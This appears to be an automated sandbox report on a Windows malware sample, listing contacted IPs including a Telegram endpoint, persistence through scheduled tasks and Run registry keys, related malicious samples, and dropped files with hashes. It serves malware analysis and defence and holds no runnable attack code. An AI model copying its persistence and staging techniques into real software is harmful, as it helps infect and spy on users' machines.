https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt	shell.js.13.dr, python.js.13.dr, pascal.js.13.dr, perl.js.13.dr, html.js.13.dr, sophia.js.13.dr, pascaligo.js.13.dr, freemarker2.js.13.dr, azcli.js.13.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
185.199.109.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
185.199.108.133	unknown	Netherlands	54113	FASTLYUS	false
140.82.121.3	github.com	United States	36459	GITHUBUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1460297
Start date and time:	2024-06-20 19:06:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	107
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	6tGWMkdYv4.exe renamed because original name is a hash value
Original Sample Name:	34cb7fca8cb671327865d0bcf6de72bc.exe
Detection:	MAL
Classification:	mal100.rans.troj.adwa.spyw.expl.evad.winEXE@172/811@17/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, SIHClient.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 142.250.185.195, 2.18.97.153, 13.107.42.16, 142.250.186.74, 142.250.186.35, 104.18.40.68, 172.64.147.188, 2.22.242.227, 2.22.242.122
Excluded domains from analysis (whitelisted): kit-pro.fontawesome.com.cdn.cloudflare.net, config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, pastebin.com, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, ipinfo.io, e16604.g.akamaiedge.net, msedge.b.tlu.dl.delivery.mp.microsoft.com, wildcard.f.tlu.dl.delivery.mp.microsoft.com.edgesuite.net, prod.fs.microsoft.com.akadns.net, l-0007.l-msedge.net, config.edge.skype.com, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, cdp-f-tlu-net.trafficmanager.net, fonts.googleapis.com, fs.microsoft.com, fonts.gstatic.com, j282895d.beget.tech, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, l-0007.config.skype.com, gstatic.com, a1847.dscd.akamai.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 6tGWMkdYv4.exe

Simulations

Behavior and APIs

Time	Type	Description
13:07:11	API Interceptor	196x Sleep call for process: SolaraBootstrapper.exe modified
13:07:16	API Interceptor	126x Sleep call for process: powershell.exe modified
13:07:16	API Interceptor	1x Sleep call for process: WMIC.exe modified
13:07:23	API Interceptor	2x Sleep call for process: svchost.exe modified
19:07:25	Task Scheduler	Run new task: bMCzMxeQsb path: "C:\Program Files (x86)\java\jre-1.8\lib\bMCzMxeQsb.exe"
19:07:25	Task Scheduler	Run new task: bMCzMxeQsbb path: "C:\Program Files (x86)\java\jre-1.8\lib\bMCzMxeQsb.exe"
19:07:26	Task Scheduler	Run new task: SearchAppS path: "C:\Users\Default User\SearchApp.exe"
19:07:28	Task Scheduler	Run new task: SearchApp path: "C:\Users\Default User\SearchApp.exe"
19:07:28	Task Scheduler	Run new task: ShellExperienceHost path: "C:\Users\user\ShellExperienceHost.exe"
19:07:28	Task Scheduler	Run new task: ShellExperienceHostS path: "C:\Users\user\ShellExperienceHost.exe"
19:07:28	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb "C:\Program Files\Common Files\bMCzMxeQsb.exe"
19:07:29	Task Scheduler	Run new task: WinStore.App path: "C:\agentInto\WinStore.App.exe"
19:07:29	Task Scheduler	Run new task: WinStore.AppW path: "C:\agentInto\WinStore.App.exe"
19:07:31	Task Scheduler	Run new task: conhost path: "C:\Program Files\Microsoft\OneDrive\conhost.exe"
19:07:31	Task Scheduler	Run new task: conhostc path: "C:\Program Files\Microsoft\OneDrive\conhost.exe"
19:07:36	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SearchApp "C:\Users\Default User\SearchApp.exe"
19:07:44	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run WinStore.App "C:\agentInto\WinStore.App.exe"
19:07:52	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ShellExperienceHost "C:\Users\user\ShellExperienceHost.exe"
19:08:00	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run conhost "C:\Program Files\Microsoft\OneDrive\conhost.exe"
19:08:09	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb "C:\agentInto\bMCzMxeQsb.exe"
19:08:17	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SearchApp "C:\Users\Default User\SearchApp.exe"
19:08:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run WinStore.App "C:\agentInto\WinStore.App.exe"
19:08:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ShellExperienceHost "C:\Users\user\ShellExperienceHost.exe"
19:08:41	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run conhost "C:\Program Files\Microsoft\OneDrive\conhost.exe"
19:08:50	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb "C:\agentInto\bMCzMxeQsb.exe"
19:08:58	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run SearchApp "C:\Users\Default User\SearchApp.exe"
19:09:06	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run WinStore.App "C:\agentInto\WinStore.App.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	oxyinstaller.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	Ulg Bypas.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	X Image logger beta V5.2.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	35,163.07.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	QUOTATION PT INDONESIA.pdf.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Transaction Notification.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	2023081922.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	PO_67800Kg+MachineCmO.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Payment Receipt-BOA.scr.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	lista de cotizaciones.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
149.154.167.220	rRFQ_TSL104_20221024_pdf.exe	Get hash	malicious	AgentTesla	Browse
	win6.exe	Get hash	malicious	Python Stealer, Discord Token Stealer	Browse
	win5.exe	Get hash	malicious	Python Stealer, Discord Token Stealer	Browse
	uKzQIWsGdo.exe	Get hash	malicious	Nightingale Stealer	Browse
	KJuctcVQbe.exe	Get hash	malicious	Nightingale Stealer	Browse
	CMoW3VhY2s.exe	Get hash	malicious	Nightingale Stealer	Browse
	Kf1Rr6jArf.exe	Get hash	malicious	Phemedrone Stealer	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	order_document_sheet#PO35642.js	Get hash	malicious	AgentTesla, StormKitty, SugarDump, XWorm	Browse
	Solicitud de Pedidos.exe	Get hash	malicious	AgentTesla	Browse
185.199.109.133	setup.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, PureLog Stealer, RedLine, XWorm, zgRAT	Browse
	Jr7B1jZMaT.exe	Get hash	malicious	NovaSentinel	Browse
	https://github.com/Sxady/script/blob/main/corner.sh	Get hash	malicious	Xmrig	Browse
	https://metacase-f-p43w.vercel.app/	Get hash	malicious	Unknown	Browse
	https://metacase-f-lwrb.vercel.app/	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.BackDoor.SpyBotNET.62.21177.12908.exe	Get hash	malicious	EICAR, PureLog Stealer, zgRAT	Browse
	http://nam.dcv.ms/RrfjPCaxN4	Get hash	malicious	HTMLPhisher	Browse
	http://openbox-mint-nft0321.vercel.app/	Get hash	malicious	Unknown	Browse
	https://saksham2371.github.io/Netflix-Clone	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fg.microsoft.map.fastly.net	https://teleggram.xyz/	Get hash	malicious	Telegram Phisher	Browse	199.232.214.172
	PDFTool-v3.2.1233.0_49805544.msi	Get hash	malicious	Unknown	Browse	199.232.210.172
	jWtjLls2ZA.exe	Get hash	malicious	PureLog Stealer, Vidar, zgRAT	Browse	199.232.214.172
	ccsetup624.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	file.exe	Get hash	malicious	FormBook	Browse	199.232.214.172
	SmartConvertPDF_48187981.msi	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://www.ammyy.com/it/downloads.html	Get hash	malicious	Flawedammyy	Browse	199.232.210.172
	https://www.ammyy.com/it/downloads.html	Get hash	malicious	Flawedammyy	Browse	199.232.210.172
	https://www.ammyy.com/it/downloads.html	Get hash	malicious	Flawedammyy	Browse	199.232.214.172
	OSL332C-HBLx#U180es#U180el#U180ex#U180e..exe	Get hash	malicious	FormBook	Browse	199.232.214.172
jsdelivr.map.fastly.net	https://www.google.at/amp/s/lojabelezaecuidado.com.br/58176183nMABI3529xaNs-cGZvdXJuaWVyQG5vcmF1dG8uY29t-e=Dialoog58176183nMABI3529xaNs&id=496DEE149D8D483A879A48839FC5D1C3	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://mg1bfngm.r.us-west-2.awstrack.me/L0/https:%2F%2Frevvitysignals.flexnetoperations.com/1/010101902cdaddd1-d5baf378-d6a1-494e-93fe-7e5b5c9ac2af-000000/Z7a4stK-RPA_fgx2tetLRX9SKSU=379	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://opensea2mintnft74.vercel.app/	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://ep-requip-as21992313.pages.dev/help/contact/487994307081723	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://loenwe-hopeagia-noprobs.pages.dev/help/contact/783258278996280	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://loenwe-hopeagia-noprobs.pages.dev/help/contact/65324976718125	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://munoisjkd16842-sohiunema12694-coimejak1694.pages.dev/help/contact/297918690267227	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://loenwe-hopeagia-noprobs.pages.dev/help/contact/640471908759505	Get hash	malicious	Unknown	Browse	151.101.1.229
	http://laiwns-ngu3ye4-lusai2.pages.dev/help/contact/542416314781719/	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://ingresar-365-msn.glitch.me/	Get hash	malicious	Unknown	Browse	151.101.65.229
chrome.cloudflare-dns.com	FAX_202405_136088.xhtml	Get hash	malicious	Unknown	Browse	162.159.61.3
	Jr7B1jZMaT.exe	Get hash	malicious	NovaSentinel	Browse	172.64.41.3
	https://sonavida.com/click?redirect=https%3A%2F%2Fhihello.me%2Fp%2F1fc9f5e4-5e11-4290-9390-82c26f0a785a%3Freferer%3Demail_signature&dID=1711489982997&hashId=dba3aa3b4435e7d336dd03850fb00b4b616bb279ee6c55ea7f10bc69a9d7a3aad622c8	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://qrco.de/bfARET	Get hash	malicious	Unknown	Browse	162.159.61.3
	PDFTool-v3.2.1233.0_49807419.msi	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://drinkshopmerkspl.cincopa.com/watch/AYFACCtYYllw!A0GDCLaiRx_p	Get hash	malicious	Unknown	Browse	172.64.41.3
	JwYKFcMlkv.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	sy7DwG16as.msi	Get hash	malicious	Unknown	Browse	162.159.61.3
	TT-SWIFT-Schindler.exe	Get hash	malicious	FormBook	Browse	172.64.41.3
	PDFTool-v3.2.1233.0_49805544.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
github.com	invoice.exe	Get hash	malicious	MinerDownloader, RedLine, Xmrig	Browse	140.82.121.3
	Jr7B1jZMaT.exe	Get hash	malicious	NovaSentinel	Browse	140.82.121.4
	ZILCORP_POP.js	Get hash	malicious	STRRAT	Browse	140.82.121.3
	Zilcorp_PayCheck.js	Get hash	malicious	STRRAT	Browse	140.82.121.4
	rama.jar	Get hash	malicious	STRRAT	Browse	140.82.121.4
	Remmitance Slip-pdf.jar	Get hash	malicious	STRRAT	Browse	140.82.121.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	setup.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	149.154.167.99
	setup.exe	Get hash	malicious	RedLine	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	1kBeqS7E3z.exe	Get hash	malicious	LummaC, RisePro Stealer, Vidar	Browse	149.154.167.99
	auTs24fNru.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	https://telegradm.xyz/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	https://telegradm.vip/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	https://teleggram.xyz/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
FASTLYUS	https://www.barstoolsports.com/blog/3517288/i-would-fucking-kill-you-right-now-if-i-could-kelly-and-tate-finally-met-in-chicago-and-boy-oh-boy-was-it-fireworks#story-comments	Get hash	malicious	Unknown	Browse	151.101.129.44
	FAX_202405_136088.xhtml	Get hash	malicious	Unknown	Browse	151.101.194.137
	ATT001_PlayVM.html	Get hash	malicious	Unknown	Browse	151.101.194.137
	ACH Receipt.html	Get hash	malicious	HTMLPhisher	Browse	151.101.129.44
	https://docs.google.com/drawings/d/1qLrBv5e6nFXfFVtMDNkicLQy_velV_hePF-fb4qRTSc/preview	Get hash	malicious	Unknown	Browse	151.101.65.16
	https://link.mail.beehiiv.com/ss/c/u001.7fHwObg5vVyVWvL0XjuYab-fyGtR7ObT67BDVhUgvAxP6uAUVbKK3L1COuezszwXayDkz260QMkrdPC1htw3t_5QRxG8W1etpOoCjxpnTJGXzPf3j8BuqczIRafVz2-o3qRunciZcXpCaqRfMg3DrXAbIXYJXtcwpFCWMwkPsBA/477/gYfATSQUQlWduKXI1eEKgQ/h6/h001.s5I972gJe9AXwSBmdFGe7q9GgXfXPDzuKhKqj7sTfRo	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://api.virtru.com/accounts/email-activation?linkId=6a354426-d14b-461c-9068-d631a3772906-99eaadf1-1535-4926-b117-94d72b1cdf72&loginRedirectUrl=https://jpmchase.secure.virtru.com/secure-reader&userId=supplies@stinsons.com&senderEmail=noreplies.sua@jpmchase.com&c=E,1,GJLSrPtvth0tvKAsk9Y8SirlbwhoEVEruSrOswYM_LloAIiVFwyhuRHy64qpEnuVb816Gf3-lgJ8eHDKwE1BYzbKlN_iUmGn6C8RtrX3Te-ZHW3l4Q,,&typo=1	Get hash	malicious	Unknown	Browse	151.101.129.140
	https://www.microsoft.com/	Get hash	malicious	Unknown	Browse	151.101.129.44
	Setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	199.232.196.193
	PO 34356 MIAALBE06052024-0903.html	Get hash	malicious	HTMLPhisher	Browse	185.199.108.153
TUT-ASUS	oxyinstaller.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	Ulg Bypas.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	X Image logger beta V5.2.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	setup.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, PureLog Stealer, RedLine, XWorm, zgRAT	Browse	208.95.112.1
	35,163.07.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	QUOTATION PT INDONESIA.pdf.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Transaction Notification.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	2023081922.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	PO_67800Kg+MachineCmO.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Payment Receipt-BOA.scr.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
FASTLYUS	https://www.barstoolsports.com/blog/3517288/i-would-fucking-kill-you-right-now-if-i-could-kelly-and-tate-finally-met-in-chicago-and-boy-oh-boy-was-it-fireworks#story-comments	Get hash	malicious	Unknown	Browse	151.101.129.44
	FAX_202405_136088.xhtml	Get hash	malicious	Unknown	Browse	151.101.194.137
	ATT001_PlayVM.html	Get hash	malicious	Unknown	Browse	151.101.194.137
	ACH Receipt.html	Get hash	malicious	HTMLPhisher	Browse	151.101.129.44
	https://docs.google.com/drawings/d/1qLrBv5e6nFXfFVtMDNkicLQy_velV_hePF-fb4qRTSc/preview	Get hash	malicious	Unknown	Browse	151.101.65.16
	https://link.mail.beehiiv.com/ss/c/u001.7fHwObg5vVyVWvL0XjuYab-fyGtR7ObT67BDVhUgvAxP6uAUVbKK3L1COuezszwXayDkz260QMkrdPC1htw3t_5QRxG8W1etpOoCjxpnTJGXzPf3j8BuqczIRafVz2-o3qRunciZcXpCaqRfMg3DrXAbIXYJXtcwpFCWMwkPsBA/477/gYfATSQUQlWduKXI1eEKgQ/h6/h001.s5I972gJe9AXwSBmdFGe7q9GgXfXPDzuKhKqj7sTfRo	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://api.virtru.com/accounts/email-activation?linkId=6a354426-d14b-461c-9068-d631a3772906-99eaadf1-1535-4926-b117-94d72b1cdf72&loginRedirectUrl=https://jpmchase.secure.virtru.com/secure-reader&userId=supplies@stinsons.com&senderEmail=noreplies.sua@jpmchase.com&c=E,1,GJLSrPtvth0tvKAsk9Y8SirlbwhoEVEruSrOswYM_LloAIiVFwyhuRHy64qpEnuVb816Gf3-lgJ8eHDKwE1BYzbKlN_iUmGn6C8RtrX3Te-ZHW3l4Q,,&typo=1	Get hash	malicious	Unknown	Browse	151.101.129.140
	https://www.microsoft.com/	Get hash	malicious	Unknown	Browse	151.101.129.44
	Setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	199.232.196.193
	PO 34356 MIAALBE06052024-0903.html	Get hash	malicious	HTMLPhisher	Browse	185.199.108.153

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bd0bf25947d4a37404f0424edf4db9ad	https://download.filezilla-project.org/client/FileZilla_3.67.0_win64_sponsored2-setup.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	https://kids-copybooks.us17.list-manage.com/track/click?u=5a97ab8972763fb865eff2c7b&id=17a683593e&e=91ca37f411	Get hash	malicious	Unknown	Browse	185.199.108.133
	WAdE7vk6kk.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	Filezillawin_94199_patched.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	Filezillawin_94199_patched.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	SecuriteInfo.com.Win64.MalwareX-gen.31381.20021.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	SecuriteInfo.com.Win64.MalwareX-gen.32147.15984.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	file.exe	Get hash	malicious	MicroClip	Browse	185.199.108.133
3b5074b1b5d032e5620f69f9f700ff0e	Slip konfirmasi pembayaran 06062024.exe	Get hash	malicious	Unknown	Browse	185.199.108.133 140.82.121.3 185.199.109.133
	SecuriteInfo.com.Trojan.PackedNET.2926.9666.23696.exe	Get hash	malicious	AgentTesla	Browse	185.199.108.133 140.82.121.3 185.199.109.133
	Slip konfirmasi pembayaran 06062024.exe	Get hash	malicious	Unknown	Browse	185.199.108.133 140.82.121.3 185.199.109.133
	https://api.virtru.com/accounts/email-activation?linkId=6a354426-d14b-461c-9068-d631a3772906-99eaadf1-1535-4926-b117-94d72b1cdf72&loginRedirectUrl=https://jpmchase.secure.virtru.com/secure-reader&userId=supplies@stinsons.com&senderEmail=noreplies.sua@jpmchase.com&c=E,1,GJLSrPtvth0tvKAsk9Y8SirlbwhoEVEruSrOswYM_LloAIiVFwyhuRHy64qpEnuVb816Gf3-lgJ8eHDKwE1BYzbKlN_iUmGn6C8RtrX3Te-ZHW3l4Q,,&typo=1	Get hash	malicious	Unknown	Browse	185.199.108.133 140.82.121.3 185.199.109.133
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, zgRAT	Browse	185.199.108.133 140.82.121.3 185.199.109.133
	Bank TT request PO - 12619.exe	Get hash	malicious	AgentTesla	Browse	185.199.108.133 140.82.121.3 185.199.109.133
	SpyderCrypter.exe	Get hash	malicious	BazaLoader	Browse	185.199.108.133 140.82.121.3 185.199.109.133
	chem-03240.pdf.exe	Get hash	malicious	AgentTesla	Browse	185.199.108.133 140.82.121.3 185.199.109.133
	https://mg1bfngm.r.us-west-2.awstrack.me/L0/https:%2F%2Frevvitysignals.flexnetoperations.com/1/010101902cdaddd1-d5baf378-d6a1-494e-93fe-7e5b5c9ac2af-000000/Z7a4stK-RPA_fgx2tetLRX9SKSU=379	Get hash	malicious	Unknown	Browse	185.199.108.133 140.82.121.3 185.199.109.133
	Payment advice.exe	Get hash	malicious	AgentTesla	Browse	185.199.108.133 140.82.121.3 185.199.109.133

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	ASCII text, with very long lines (591), with no line terminators
Category:	dropped
Size (bytes):	591
Entropy (8bit):	5.882147483952635
Encrypted:	false
SSDEEP:	12:vphUPu4GgdXy3kZZsf+omWZwIAaWRF1Z4RihFOCH8QgJAq:xKW4GgVyUn10ZdBIbZ4RihFv/q
MD5:	361410C620FEE96EE27CA554DECF9FC1
SHA1:	CA2D983ABA6E61DA3C82A7C5CF91754DEFC767E3
SHA-256:	B01DC8048381D3968ED23590E9622D472310B3FBB769A50A99FE4F40F29DEDBE
SHA-512:	B243DE3CACAFF167889A9A88E3D301D2DF6828802C271FDA779BFBBF2D17CD0D62588DB71D55D2737FE3AC8C3116DC208C16BC363A9CD3EB6F6FF4AAA3F2F0DE
Malicious:	false
Preview:	XPxmmv2od4BMaWOeDSDf4Zghlx60iZj2KDpLfvN0YttiaEHoB6Z5Ebp7tQAzzCFEUICXrC9RFMHLq8HhqSyl9oytXscPuXAWnoNRBt787Hz1UeQuIcJhNeEqTSA8kthrLuhBu0f6U0n2y7Z2brGSOcJIkg7tt8YOkIpj6P9S6MMX0L2W3Hg2mOctlZbO2wNWcZSpRz5MryVBPwSYok0lbflVp68hyvZK905b2MFDLULy3bdyGCjS6l46y79V1YY6YLBZ10gbfxZHUwcOdJawLHNX68n5NuLx6OarZD7QfIwJMxmBfv1s7muQ7od2NlNullLFWuyZLKQDUELJVlZc2d0TeJtvkEC44Bhklgpv6cgwVr63cUglLv2Iv1lMADyHIVISgkhz6ofZ7E8wN0SQhasIJZzu5du3nZo9jnX1wrphQcKr3z8Kuijrn9JHvx3d3lwia8Nkcbd0vL2qOI0GekJFz6WjdPG9xMooqmQ5lYrTFt6bHc2n6x8TcqsdlnGNUdCihNAl15eG2zAGA4cAXdCANUL94xT8Re8lqX43cRvBT2amqldqLF01bBUMBAqElfyY1ZamAiiFrBr

C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4173824
Entropy (8bit):	7.8287711682156464
Encrypted:	false
SSDEEP:	98304:0YN5zgov0Ev1wOj0EsDvoFt5mWZ1pegLaaDQojhfASjwc:0k550zE51GaDQGfo
MD5:	6CF5F23F1C8CA3BC6342506BAAC300DA
SHA1:	18AFFB87F0E996D202F0BE3B8109701120EA3995
SHA-256:	F3EE0A31D29B515D2E0BF776507897CA3EF5605D0470ADCC4163209BA78E3445
SHA-512:	66830DA8515A32F3CF03149F0B23398265CBAD452BE1E81BFBAA2FB553E607AB498B2E6D2AF06D9EC840236C2FE7D964443ED4F2AB4D9E50BD07ECF1AA70335B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.................v?..6.......?.. ....?...@.. ....................... @...........@...................................?.K.....?.......................@...................................................... ............... ..H............text....t?.. ...v?................. ..`.sdata.../....?..0...z?.............@....rsrc.........?.......?.............@..@.reloc........@.......?.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\0fc9465337303e

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	ASCII text, with very long lines (974), with no line terminators
Category:	dropped
Size (bytes):	974
Entropy (8bit):	5.896775816492148
Encrypted:	false
SSDEEP:	24:JdWEjxsQdhJEcXcyE0ICyTP5B3ipeY7uRINdFS9:jXesTXcyvICyb5oryT9
MD5:	37BCA287B8C108BA96AB39004CD8B053
SHA1:	932592A5301A577948DA6787E1A00707FA52D3E8
SHA-256:	4D9C91D63C0369B0E1256CFCB623B7B97D44D7FE44F4FA42E318D42F59CD6B6E
SHA-512:	A1743D28D168D8D1BD790DE68F2ECD819EDB01556C632A04371AFD9D8DDFDD1C6FC11A588B749DCC9687A52F564347934B2CDEEBEC497E15398CD2340AFD6D6A
Malicious:	false
Preview:	sz8xsJQbKKuRI4x8EzohcclWgUxjXaXGkoRUWjqFKLUfC2cXFcUjsJfQOlRXWqEuxordncleJiXQHFUn2Zd5FxXaJAGuSTtdHksYK9un0zaKwPIIRnf6NIoAQQUmV0Mzy3IhW5c2p0EPWNo327doywQ95sI4oHS9nlV3GlwWKmQWDYoDmbuXXhBCmJloxiOhhEmu2uwQLGeMf35gEFRNX4mFkTQ79HjmXsy8v3L2odLQDygsOEjsQAKnchKidzRDh2yxF6uK4Zj4sVBvwis4i0VWiLgOtmYyLIsLAtnRTZx1bP4GgYw5HXfqgbO3agbSBvskmzuD4akJCd5SRZsUzdqymCpjeu1x7fzqgTeqosAqwWnCg5lAyHciE48kKLiKjxLhoPv85BpHcABPYmDiI09zDRlmU3gcJ0H9KGYQKnFwbUFD2sMiI9CsyWdWnJnBeN7m3CFRNwYevMXtMhumr8TJxYLynCmAAESOWdKzn4UWli6l8uKGZATg3yye1QnKJXdq4JWtX49wn7iPbjz32glAuvViop8WRKNNEQrzYasfBg25PjCRauRmwd6IyxEr5mfduVKL1AfbxG8O3ZTEmq5g2kblUjAkVBjZBYL4Y1ZaP0yperPYeAEOq9lK3j1S94FwhjNeOYqvRfRBwvGmTmGV6UsBxBAz9HaUuCI5euKFTT7KrjXIcP8XytzM0LqNY0vKF7RunLHibBBnXiUNn2WuIDgAM6ETE7qdhxFuSnfQIZ6wsMyS0djgdBBCaRhqHxedUiFjcj59WGlsGtS9HvclXK9gvDTBGyIV5dcJHP0RhkJXZT5r8hjWU3FJjjyZQ43i7QxnQJ225LDxBlGcHmCiPwABXTjiabBmrlZIgRbzpqaIzSI7cVRo2USKPvQ7jUbeKbFaM85zKN3jV2LELlFEJXuWSO2uBdPUO68YNsvdabdpbtyXkLw7OWUxqsH7FKyr7iUZ3w1c0l

